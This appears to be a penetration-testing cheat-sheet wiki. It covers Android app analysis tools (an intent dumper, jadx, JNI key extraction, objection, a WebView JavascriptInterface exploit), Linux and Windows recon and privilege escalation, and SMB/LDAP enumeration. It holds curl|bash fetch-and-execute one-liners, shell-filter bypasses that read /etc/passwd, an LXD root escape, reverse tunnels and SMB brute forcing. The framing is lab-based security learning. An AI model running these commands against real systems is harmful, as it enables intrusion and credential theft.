        sb.append(indent).append("[Component] ").append(intent.getComponent()).append("\n");
        sb.append(indent).append("[Flags]     ").append(getFlagsString(intent.getFlags())).append("\n");


        // Append extras
        Bundle extras = intent.getExtras();
        if (extras != null) {
            for (String key : extras.keySet()) {
                Object value = extras.get(key);
                if (value instanceof Intent) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Intent\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpIntent(context, (Intent) value, indentLevel + 1));  
                } else if (value instanceof Bundle) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Bundle\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpBundle((Bundle) value, indentLevel + 1));
                } else {
                    sb.append(indent).append("[Extra:'").append(key).append("']: ").append(value).append("\n");
                }
            }
        }

        // Query the content URI if FLAG_GRANT_READ_URI_PERMISSION is set
        /*
        if ((intent.getFlags() & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
            Uri data = intent.getData();
            if (data != null) {
                sb.append(queryContentUri(context, data, indentLevel + 1));
            }
        }
        */

        return sb.toString();
    }
    
    public static String dumpBundle(Bundle bundle) {
        return dumpBundle(bundle, 0);
    }

    private static String dumpBundle(Bundle bundle, int indentLevel) {
        if (bundle == null) {
            return "Bundle is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        for (String key : bundle.keySet()) {
            Object value = bundle.get(key);
            if (value instanceof Bundle) {
                sb.append(String.format("%s['%s']: Bundle[\n%s%s]\n", indent, key, dumpBundle((Bundle) value, indentLevel + 1), indent));
            } else {
                sb.append(String.format("%s['%s']: %s\n", indent, key, value != null ? value.toString() : "null"));
            }
        }
        return sb.toString();
    }

    private static String getFlagsString(int flags) {
        StringBuilder flagBuilder = new StringBuilder();
        if ((flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) flagBuilder.append("GRANT_READ_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_WRITE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PERSISTABLE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PREFIX_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PREFIX_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_TASK) != 0) flagBuilder.append("ACTIVITY_NEW_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0) flagBuilder.append("ACTIVITY_SINGLE_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_HISTORY) != 0) flagBuilder.append("ACTIVITY_NO_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TOP) != 0) flagBuilder.append("ACTIVITY_CLEAR_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0) flagBuilder.append("ACTIVITY_FORWARD_RESULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP) != 0) flagBuilder.append("ACTIVITY_PREVIOUS_IS_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) != 0) flagBuilder.append("ACTIVITY_EXCLUDE_FROM_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_BROUGHT_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) != 0) flagBuilder.append("ACTIVITY_RESET_TASK_IF_NEEDED | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCHED_FROM_HISTORY) != 0) flagBuilder.append("ACTIVITY_LAUNCHED_FROM_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET) != 0) flagBuilder.append("ACTIVITY_CLEAR_WHEN_TASK_RESET | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_DOCUMENT) != 0) flagBuilder.append("ACTIVITY_NEW_DOCUMENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_USER_ACTION) != 0) flagBuilder.append("ACTIVITY_NO_USER_ACTION | ");
        if ((flags & Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_REORDER_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_ANIMATION) != 0) flagBuilder.append("ACTIVITY_NO_ANIMATION | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TASK) != 0) flagBuilder.append("ACTIVITY_CLEAR_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_TASK_ON_HOME) != 0) flagBuilder.append("ACTIVITY_TASK_ON_HOME | ");
        if ((flags & Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS) != 0) flagBuilder.append("ACTIVITY_RETAIN_IN_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT) != 0) flagBuilder.append("ACTIVITY_LAUNCH_ADJACENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT) != 0) flagBuilder.append("ACTIVITY_REQUIRE_DEFAULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER) != 0) flagBuilder.append("ACTIVITY_REQUIRE_NON_BROWSER | ");
        if ((flags & Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) != 0) flagBuilder.append("ACTIVITY_MATCH_EXTERNAL | ");
        if ((flags & Intent.FLAG_ACTIVITY_MULTIPLE_TASK) != 0) flagBuilder.append("ACTIVITY_MULTIPLE_TASK | ");
        if ((flags & Intent.FLAG_RECEIVER_REGISTERED_ONLY) != 0) flagBuilder.append("RECEIVER_REGISTERED_ONLY | ");
        if ((flags & Intent.FLAG_RECEIVER_REPLACE_PENDING) != 0) flagBuilder.append("RECEIVER_REPLACE_PENDING | ");
        if ((flags & Intent.FLAG_RECEIVER_FOREGROUND) != 0) flagBuilder.append("RECEIVER_FOREGROUND | ");
        if ((flags & Intent.FLAG_RECEIVER_NO_ABORT) != 0) flagBuilder.append("RECEIVER_NO_ABORT | ");
        if ((flags & Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS) != 0) flagBuilder.append("RECEIVER_VISIBLE_TO_INSTANT_APPS | ");

        if (flagBuilder.length() > 0) {
            // Remove the trailing " | "
            flagBuilder.setLength(flagBuilder.length() - 3);
        }

        return flagBuilder.toString();
    }

    public static void showDialog(Context context, Intent intent) {
        if(intent == null) return;
        // Create the dialog
        Dialog dialog = new Dialog(context);
        dialog.requestWindowFeature(Window.FEATURE_NO_TITLE);
        dialog.setCancelable(true);

        // Create a LinearLayout to hold the dialog content
        LinearLayout layout = new LinearLayout(context);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setPadding(20, 50, 20, 50);
        layout.setBackgroundColor(0xffefeff5);


        // Add a TextView for the title
        TextView title = new TextView(context);
        title.setText("Intent Details: ");
        title.setTextSize(16);
        title.setTextColor(0xff000000);
        title.setTypeface(Typeface.DEFAULT, Typeface.BOLD);
        title.setPadding(0, 0, 0, 40);
        title.setGravity(Gravity.CENTER);
        title.setBackgroundColor(0xffefeff5);
        layout.addView(title);

        // Add a TextView for the message
        TextView message = new TextView(context);
        message.setText(dumpIntent(context, intent));
        message.setTypeface(Typeface.MONOSPACE);
        message.setTextSize(12);
        message.setTextColor(0xff000000);
        message.setPadding(0, 0, 0, 30);
        message.setGravity(Gravity.START);
        message.setBackgroundColor(0xffefeff5);
        layout.addView(message);

        // Add an OK button
        Button positiveButton = new Button(context);
        positiveButton.setText("OK");
        positiveButton.setTextColor(0xff000000);
        positiveButton.setOnClickListener(v -> dialog.dismiss());
        layout.addView(positiveButton);

        // Set the layout as the content view of the dialog
        dialog.setContentView(layout);

        // Adjust dialog window parameters to make it fullscreen
        Window window = dialog.getWindow();
        if (window != null) {
            window.setLayout(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
            window.setBackgroundDrawableResource(android.R.color.transparent);
            WindowManager.LayoutParams wlp = window.getAttributes();
            wlp.gravity = Gravity.BOTTOM;
            wlp.flags &= ~WindowManager.LayoutParams.FLAG_DIM_BEHIND;
            window.setAttributes(wlp);
        }

        dialog.show();
        // Animate the dialog with a slide-in effect
        layout.setTranslationY(2000); // Start off-screen to the right
        layout.setAlpha(0f);
        ObjectAnimator translateYAnimator = ObjectAnimator.ofFloat(layout, "translationY", 0);
        ObjectAnimator alphaAnimator = ObjectAnimator.ofFloat(layout, "alpha", 1f);
        AnimatorSet animatorSet = new AnimatorSet();
        animatorSet.playTogether(translateYAnimator, alphaAnimator);
        animatorSet.setDuration(300); // Duration of the animation
        animatorSet.setStartDelay(100); // Delay before starting the animation
        animatorSet.start();
    }
}
```

## References

{% embed url="<https://developer.android.com/guide/components/intents-filters?hl=es-419>" %}

{% embed url="<https://app.hextree.io/>" %}


# jadx

Dex to Java decompiler.

### Commonly used commands

#### Compare two apk versions

<pre class="language-bash"><code class="lang-bash"><strong>jadx version1.apk -d app1
</strong><strong>jadx version2.apk -d app2
</strong><strong>
</strong><strong># From VScode extensions download "Compare Folders"
</strong><strong>Open app1 folder and then from the extension open the app2 folder
</strong></code></pre>

## References

{% embed url="<https://github.com/skylot/jadx>" %}


# JNI

## JNI Deobfuscation

### Reversing the library

Ghidra / IDA Pro / radare2 and GL my friend!

### Frida method

Using frida snippet like [frida](/so/android/frida#jadx-and-frida).

### Executing the functions from JNI in an Android app

Create a New Project on Android Studio

```bash
# Android Studio > New > New Project > Empty Views Activity
```

Copy all folders from `resources/lib/*` from the original to `app/jniLibs/*` in new project

Create a new Java class in AS "java" folder (including class name)

<pre class="language-bash"><code class="lang-bash"><strong># App: io.hextree.weatherusa
</strong># Class name: InternetUtil
io.hextree.weatherusa.InternetUtil
</code></pre>

Check the logic of using the native library (this is the decompiler code)

{% code overflow="wrap" %}

```java
package io.hextree.weatherusa;

[...]

public abstract class InternetUtil {
[...]
    httpURLConnection2.setRequestProperty("X-API-KEY", getKey("jhnef6d~efu?tjfus3tobunaa3tbdrun"));
[...]

    private static native String getKey(String str);
}
```

{% endcode %}

And make it usable on our class (`java/io.hextree.weatherusa/InternetUtil.java`)

{% code overflow="wrap" %}

```java
package io.hextree.weatherusa;

public class InternetUtil {
    private static native String getKey(String str);

    public static String solve(){
        System.loadLibrary("native-lib");
        return getKey("jhnef6d~efu?tjfus3tobunaa3tbdrun");
    }
}
```

{% endcode %}

Finally, call to our new class from MainActivity (`java/com.example.empty_for_pocs_java/MainActivity.java`)

{% code overflow="wrap" %}

```java
package com.example.empty_for_pocs_java;

import android.os.Bundle;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

import io.hextree.weatherusa.InternetUtil;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        TextView homeText = findViewById(R.id.home_text);
        homeText.setText(String.format("API: %s", InternetUtil.solve()));
    }
}
```

{% endcode %}

Set the homeText "id" in activity\_main (`res/layout/activity_main.xml`)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/main"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Hello World!"
        android:id="@+id/home_text"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        tools:visibility="visible" />

</androidx.constraintlayout.widget.ConstraintLayout>
```

{% endcode %}

## References

{% embed url="<https://developer.android.com/training/articles/perf-jni?hl=es-419>" %}


# objection

Objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak.

## Installation

```bash
pip3 install objection
```

## Connection

Make a **regular ADB conection** and **start** the **frida** server in the device (and check that frida is working in both the client and the server).

If you are using a **rooted device** it is needed to select the application that you want to test inside the ***--gadget*** option. in this case:

```bash
objection --gadget com.sensepost.ipewpew explore
```

## Commands

### Patch apk

Before you can use any of the objection commands on an Android application, the application's APK itself needs to be patched and code signed to load the frida-gadget.so on start (**or setup frida-server**).

{% code overflow="wrap" %}

```bash
objection patchapk -s testAPK.apk
```

{% endcode %}

### Objection Basics

```bash
! (executes operating system commands using pythons subprocess module)
env (enumerate interesting directories that relate to the application)
reconnect (attempts to reconnect to the Frida Gadget specified with --gadget on startup)
frida (print frida information)
jobs list (list the currently running jobs)
jobs kill <job_uuid> (kills a running job identified by its UUID)
plugin load <local_path> (loads an objection plugin into the current session)
```

### File Operations

```bash
file download <remote_path> [<local path>] (copy file from device)
file upload <local_path> [<remote path>] (copy file to device)

# Imports Fridascript from a file on the local filesystem and executes it as a job. Ex:  import ~/home/hooks/custom.js custom-hook-name
import <local_path> [job_name] [--no-exception-handler]
```

### Device actions

```bash
android sslpinning disable [--quiet] (attempts to disable SSL Pinning on Android devices)
android root disable (attempts to disable root detection on Android devices)
android root simulate (attempts to simulate a rooted Android environment)
android shell_exec whoami (executes command)
android ui screenshot /tmp/screenshot (make a screenshot)
android clipboard monitor (gets a handle on the Android clipboard service)
```

### App Analysis

```bash
android hooking list activities (list activities of the app)
android hooking list services (list services of the app)
android hooking list receivers (list receivers of the app)
android hooking list classes (list all classes)
android hooking get current_activity (get current activity)
android hooking search classes <string> (search classes)
android hooking search methods <string> (search methods)
android hooking list class_methods <class_name> (list declared methods of a class with their parameters)
android ui FLAG_SECURE <true/false> (control the value of FLAG_SECURE for the current Activity)
```

### Hooking

```bash
# Hooks a specified class method and reports on invocations. Ex: android hooking watch class_method com.example.test.login
android hooking watch class_method <fully qualified class method> [--dump-args] [--dump-backtrace] [--dump-return]

# Hooks a specified class' methods and reports on invocations. Ex: android hooking watch class com.example.test
android hooking watch class <class>

# Sets a methods return value to always be true / false. Ex: android hooking set return_value com.example.test.rootUtils.isRooted false
android hooking set return_value "<fully qualified class>" "<overload if needed>" <true / false>
```

### Keystore

```bash
android keystore list (lists aliases in the current applications 'AndroidKeyStore' KeyStore)
android keystore detail (lists detailed 'AndroidKeyStore' items for the current application)
android keystore clear (clears all aliases in the current applications 'AndroidKeyStore' Keystore)
```

### Intents

```bash
android intents launch_activity <activity> (launches an activity class by building a new Intent)
android intent launch_service <service_class> (launches an exported service class by building a new Intent)
```

### Memory

```bash
memory dump all <local path> (dump all memory)
memory dump from_base <base_address> <size_to_tump> <local_path> (dump part of the memory)
memory list modules (list all of the modules loaded in the current process)
memory list exports <module_name> (list exports in a specific loaded module)
memory search "<pattern>" [--string] [--offsets-only] (search the current processes' heap for a pattern)
memory write "<address>" "<pattern>" [--string] (write an arbitrary set of bytes to an address in memory)
android heap search instances <class> (search for and print live instances of a specific Java class)
```

### SQLite

```bash
sqlite connect <remote_path> (connect to a SQLite database on the remote device)
sqlite disconnect (disconnect from the currently connected SQLite database file)
sqlite status (check the status of the SQLite connection)
sqlite sync (sync the locally cached SQLite database with the remote database)
sqlite execute schema (get the database schema for the currently connected SQLite database)
sqlite execute query <sql_query> (execute a query against the cached copy of the connected SQLite database)
```

## References

{% embed url="<https://github.com/sensepost/objection>" %}


# tcpdump

A powerful command-line packet analyzer; and libpcap, a portable C/C++ library for network traffic capture.

## How to sniff traffic from Android emulator

Check which AVDs are present

```bash
emulator -list-avds
```

Select your AVD and run (**avoid this part if you are running the emulator yet**)

```bash
emulator -avd <non_production_avd_name> -writable-system -no-snapshot
```

Install tcpdump on the Android device (download here: <https://www.androidtcpdump.com/android-tcpdump/downloads>)

```bash
adb root
adb remount
adb push /wherever/you/put/tcpdump /system/xbin/tcpdump
adb shell chmod 6755 /system/xbin/tcpdump
```

Forward an android port to host

```bash
adb forward tcp:11111 tcp:11111
```

Start sniff traffic with tcpdump

```bash
adb shell
tcpdump -i wlan0 -s0 -w - | nc -l -p 11111
```

Connect wireshark to the forwarded port via netcat

```bash
nc localhost 11111 | wireshark -k -S -i -
```

## References

{% embed url="<https://www.tcpdump.org/>" %}


# webview

A View that displays web pages.

## @JavascriptInterface

A Java function that contains the decorator `@JavascriptInterface` can be exposed into a webview. Vulnerable code:

```java
private void configureWebView() {
        WebSettings webSettings = this.webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setSafeBrowsingEnabled(false);
        this.webView.setWebChromeClient(new WebChromeClient());
        this.webView.setWebViewClient(new WebViewClient());
        this.webView.addJavascriptInterface(new JavaScriptInterface(), "Android");
    }

    /* loaded from: classes3.dex */
    public class JavaScriptInterface {
        public JavaScriptInterface() {
        }

        @JavascriptInterface
        public void showToast(String message) {
            Toast.makeText(MainActivity.this, message, 0).show();
        }

        @JavascriptInterface
        public void showFlag() {
            Toast.makeText(MainActivity.this, "HXT{java-in-a-webview}", 0).show();
        }
    }
```

Example of exploitation:

```java
private void sendHtmlIntent() {
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setComponent(new ComponentName("io.hextree.webviewdemo", "io.hextree.webviewdemo.MainActivity"));
        intent.putExtra("htmlContent", "<html><body><script>Android.showFlag();</script></body></html>");
        startActivity(intent);
    }
```

## References

{% embed url="<https://developer.android.com/reference/android/webkit/WebView>" %}

{% embed url="<https://app.hextree.io/>" %}

{% embed url="<https://blog.oversecured.com/Android-security-checklist-webview/#typical-example-of-the-vulnerability>" %}


# iOS


# objection

Objection is a runtime mobile exploration toolkit, powered by Frida, built to help you assess the security posture of your mobile applications, without needing a jailbreak.

## Installation

```
pip3 install objection
```

## Connection

Make a **regular ADB conection** and **start** the **frida** server in the device (and check that frida is working in both the client and the server).

If you are using a **rooted device** it is needed to select the application that you want to test inside the ***--gadget*** option. in this case:

```
objection --gadget com.sensepost.ipewpew explore
```

## Commands

### Objection Basics

```bash
! (executes operating system commands using pythons subprocess module)
env (enumerate interesting directories that relate to the application)
reconnect (attempts to reconnect to the Frida Gadget specified with --gadget on startup)
frida (print frida information)
jobs list (list the currently running jobs)
jobs kill <job_uuid> (kills a running job identified by its UUID)
plugin load <local_path> (loads an objection plugin into the current session)
```

### File Operations

<pre class="language-bash"><code class="lang-bash">file download &#x3C;remote_path> [&#x3C;local path>] (copy file from device)
file upload &#x3C;local_path> [&#x3C;remote path>] (copy file to device)
<strong>
</strong><strong># Imports Fridascript from a file on the local filesystem and executes it as a job. Ex:  import ~/home/hooks/custom.js custom-hook-name
</strong>import &#x3C;local_path> [job_name] [--no-exception-handler]
</code></pre>

### Device actions

```bash
ios plist cat <remote_plist_filename> (parses and echoes a plist file on the remote iOS device to screen)
ios sslpinning disable [--quiet] (attempts to disable SSL Pinning on iOS devices)
ios jailbreak disable (attempts to disable Jailbreak detection on iOS devices)
ios jailbreak simulate (attempts to simulate a Jailbroken iOS environment)
ios monitor crypto monitor (hooks CommonCrypto to output information about cryptographic operation)
ios nsuserdefaults get (queries the applications NSUserDefaults class)
ios pasteboard monitor (hooks into the iOS UIPasteboard class)
ios ui alert <message> (displays an alert popup on an iOS device)
ios ui dump (dumps the current, serialized user interface)
ios ui screenshot (screenshots the current foregrounded UIView and saves it as a PNG locally)
ios ui touchid_bypass
ios cookies get (try to extract cookie values out of the sharedHTTPCookieStorage)
```

### App Analysis

<pre class="language-bash"><code class="lang-bash">ios info binary
ios hooking list classes (lists all of the classes in the current Objective-C runtime)
ios hooking search classes &#x3C;string> (search for classes in the current Objective-C runtime)
ios hooking search methods &#x3C;string> (search for methods in classes in the current Objective-C)
<strong>ios hooking list class_methods &#x3C;class_name> (lists the methods within an Objective-C class)
</strong><strong>ios bundles list_frameworks [--include-apple-frameworks] [--full-path] (returns all of the application's bundles that represent frameworks)
</strong>ios bundles list_bundles [--full-path] (returns all the application's non-framework bundles)
</code></pre>

### Hooking

```bash
# Hooks into a specified Objective-C method and reports on invocations. Ex: ios hooking watch method "+[KeychainDataManager update:forKey:]"
ios hooking watch method "<full class & selector>" [--dump-backtrace] [--dumps-args] [--dump-return] [--include-backtrace]

# Hooks into all of the methods available in the Objective-C class specified. Ex: ios hooking watch KeychainDataManager
ios hooking watch <class_name> [--include-parents]

# Hooks into a specified Objective-C method and sets its return value to either True or False. Ex: ios hooking set return_value "+[JailbreakDetection isJailbroken]" false
ios hooking set return_value "<full class & selector>" <true/false>
```

### Keychain

```bash
ios keychain dump (extracts the keychain items for the current application)
ios keychain add --account <account> --service <service> --data <data> (adds a new entry to the iOS keychain using SecItemAdd)
ios keychain clear (clears all the keychain items for the current application)
```

### Memory

```bash
memory dump all <local path> (dump all memory)
memory dump from_base <base_address> <size_to_tump> <local_path> (dump part of the memory)
memory list modules (list all of the modules loaded in the current process)
memory list exports <module_name> (list exports in a specific loaded module)
memory search "<pattern>" [--string] [--offsets-only] (search the current processes' heap for a pattern)
memory write "<address>" "<pattern>" [--string] (write an arbitrary set of bytes to an address in memory)
```

### SQLite

```bash
sqlite connect <remote_path> (connect to a SQLite database on the remote device)
sqlite disconnect (disconnect from the currently connected SQLite database file)
sqlite status (check the status of the SQLite connection)
sqlite sync (sync the locally cached SQLite database with the remote database)
sqlite execute schema (get the database schema for the currently connected SQLite database)
sqlite execute query <sql_query> (execute a query against the cached copy of the connected SQLite database)
```

## References

{% embed url="<https://github.com/sensepost/objection>" %}


# Linux


# Internal Recon

### Sudo - Useful Commands

```bash
#List user's privileges
sudo -l
```

### Find - Useful Commands #SUID #SGID #StickyBit

```bash
#Find world writeable directories
find / -perm 777 2>/dev/null

#Find SUID files
find / -perm /4000 -type f 2>/dev/null

#Find root SUID files
find / -perm /4000 -uid 0 -type f 2>/dev/null

#Find SGID files - Run as the group, not the user who started it
find / -perm -g=s -type f 2>/dev/null

#Find Sticky bit files
find / -perm -1000 -type d 2>/dev/null

#Find SUID or SGID (3 folders deep)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/nul
```


# Bypasses

### Bypass Paths and Forbidden commands

```bash
#Bypass space restrictions
cat$IFS/etc/passwd #Equals to cat /etc/passwd

#Bypass with $@
echo $0 #Equals to /bin/sh
echo whoami|$0 #Equals to whoami | /bin/sh

#Bash substitudes
/usr/bin/wh?ami #Equals to /usr/bin/whoami
/usr/bin/wh*ami #Equals to /usr/bin/whoami

#Concatenation
'w'h'o'a'm'i #Equals to whoami
\w\h\o\a\m\i #Equals to whoami

#Uninitialized variables
w${u}h${u}o${u}a${u}m${u}i #Equals to whoami. Used {} to put uninitialized vars between chars
$u/usr$u/bin$u/whoami #Equals to /usr/bin/whoami. Used uninitialized vars without {} before any symbol

#Fake commands
w$(u)h$(u)o$(u)a$(u)m$(u)i #Equals to whoami. Will try to execute "u" 5 times without success
w`u`h`u`o`u`a`u`m`u`i #Equals to whoami. Will try to execute "u" 5 times without success

#Concatenation of strings using history
!-1 #Reference to last command executed. !-2 Reference to the penultimate command executed
mi #Throw an error
whoa #Throw an error
!-1!-2 #Equals to whoami

#Bypass using new lines
w\
h\
o\
a\
m\
i\ #Equals to whoami
```


# Network

### Socat TCP redirection

```bash
#Example HTTP redirection: socat TCP4-LISTEN:80,fork TCP4:10.10.10.19:80
socat TCP4-LISTEN:<PORT>,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:<REMOTE-HOST-PORT>
```

### Chisel TCP tunnel over HTTP

```bash
#Download chisel for victim machine version
#10.10.10.19 == kali_IP. 4506 == Port to redirect.
./chisel client 10.10.10.19:10000 R:4506:127.0.0.1:4506 #In Victim Machine
./chisel server -p 10000 --reverse #In Kali Machine
```

{% embed url="<https://github.com/jpillora/chisel/releases>" %}
Chisel - Releases
{% endembed %}

### Enum ports using nc

```bash
#nc -zv IP PORT-RANGE
nc -zv 127.0.0.1 20-80
```

### Scan IP/Ports from Bash

```bash
for ip in {1..254};
do for port in {22,80,443};
	do (echo >/dev/tcp/10.10.10.$ip/$port) >& /dev/null \
	&& echo "10.10.10.$ip:$port is open";
	done;
done;
```


# Exfiltration

### Execute code without download files locally

```bash
#Curl
curl -fsSL http://192.168.99.19:8080/test.sh | bash
bash < <( curl http://192.168.99.19:8080/test.sh  )

#Wget
wget -q -O- http://192.168.99.19:8080/test.sh | bash
wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
```


# Containers

### LXD Privilege Escalation

```bash
#Download on your Kali Machine
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

#Send the .tar.gz created on Kali to Linux Victim & use this commands
lxc image import ./yourfilename.tar.gz --alias myimage
lxc image list (this should show you your image got loaded)
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
```

{% embed url="<https://github.com/saghul/lxd-alpine-builder.git>" %}
LXD Alpine Linux image builder
{% endembed %}


# Iptables

### Delete current rules and chains

```bash
iptables --flush
iptables --delete-chain
```

### Allow loopback

```bash
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
```

### Drop ICMP

```bash
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
```

### Allow SSH, HTTP, DNS

```bash
#SSH
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT

#HTTP/HTTPs
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT

#DNS
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
```


# Windows


# Internal Recon

## General

### System info

```cpp
systeminfo
hostname
whoami /all
```

### Users/localgroups on the machine

```cpp
net users
net localgroups
net localgroups Administrators
net user hax0r

#Check local and domain
net user hax0r /domain
net group Administrators /domain
```

### Network information/connections

```cpp
ipconfig /all
route print
arp -A
netstat -ano
```

### Search tips

```csharp
#FindStr
findstr /spin "password" *.* //Recursive string scan

#Dir
dir /a-r-d /s /b //Search for writeable directories
dir secret.txt /s /p //Search for secret.txt recursive from folder
dir /s *pass* == *cred* == *vnc* == *.config* //Search for certain words
```

## Privilege Escalation

### Stored Credential

```csharp
cmdkey /list //Check if any stored key
runas /user:administrator /savecred "cmd.exe /k whoami" //Using them
```

### Impersonating Tokens with meterpreter

```csharp
use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System
```

### Unquoted Path

```cpp
#Obtain the path of the executable called by a Windows service
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

#Default search
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v
```


# External Recon

## SMB

#### Ports: 137 (UDP), 139, 445.

### Basic SMB enumeration

```bash
#Enum4linux
enum4linux -a 10.10.10.19 #Without User
enum4linux -a 10.10.10.19 -u Administrator -p Pass123 #Having user

#Rpcclient
rpcclient -U "" -N 10.10.10.19 #No creds
rpcclient -U Administrator 10.10.10.19 #Asks for password
rpcclient -U Administrator --pw-nt-hash 10.10.10.19 #Asks for NTLM hash

#Nmap
nmap --script smb-enum-users.nse -p139,445 -Pn 10.10.10.19 #Enum SMB users
nmap --script smb-enum-shares.nse -p139,445 -Pn 10.10.10.19 #Enum SMB shares 
```

### List shared folders

```bash
#Smbclient
smbclient --no-pass -L //10.10.10.19 # Null user
smbclient -U Administrator -L [--pw-nt-hash] //10.10.10.19 #With --pw-nt-hash, the pwd provided is the NTLM hash

#Smbmap
smbmap -u "Administrator" -p "Pass123" -H 10.10.10.19 #Also works with NTLM hash

#Crackmapexec
crackmapexec smb 10.10.10.19 -u '' -p '' --shares #Null user
crackmapexec smb 10.10.10.19 -u 'Adminisatrator' -p 'Pass123' --shares
```

### Connect/mount shared folders

```bash
#Connect
smbclient -U Administrator [--pw-nt-hash] //10.10.10.19 #With --pw-nt-hash, the pwd provided is the NTLM hash

#Mount
mount -t cifs -o username=user,password=password //10.10.10.19/share /mnt/share
```

### Download files from shared folders

```bash
#Smbmap
smbmap -R Folder -H 10.10.10.19 -A "passwords.txt" -q #Search file in recursive mode and download it

#Smbget
smbget smb://10.10.10.19/Disk$ -R -U "Administrador" #Download all files recursively

#Smbclient
smbclient //10.10.10.19/Disk$
> mask ""
> recurse
> prompt
> mget * #Download everything to current directory
```

### Bruteforce on SMB

```bash
#Hydra
hydra -L users.txt -P password.txt 178.255.196.56 smb -V -t 100

#Smbrute (https://github.com/m4ll0k/SMBrute)
python3 smbrute.py -h 10.10.10.19 -U users.txt -P passwords.txt
```

## LDAP

#### Ports: 389, 636 (SSL), 3268, 3269 (SSL).

### Basic LDAP enumeration

```bash
#Windapsearch (https://github.com/ropnop/windapsearch)
python windapsearch.py -u Administrator -p Pass123 -d dev.corp --dc-ip 10.10.10.19

#Ad-ldap-enum (https://github.com/CroweCybersecurity/ad-ldap-enum)
python ad-ldap-enum.py -d dev.corp -l 10.10.10.19 -u Administrator -p Pass123
```
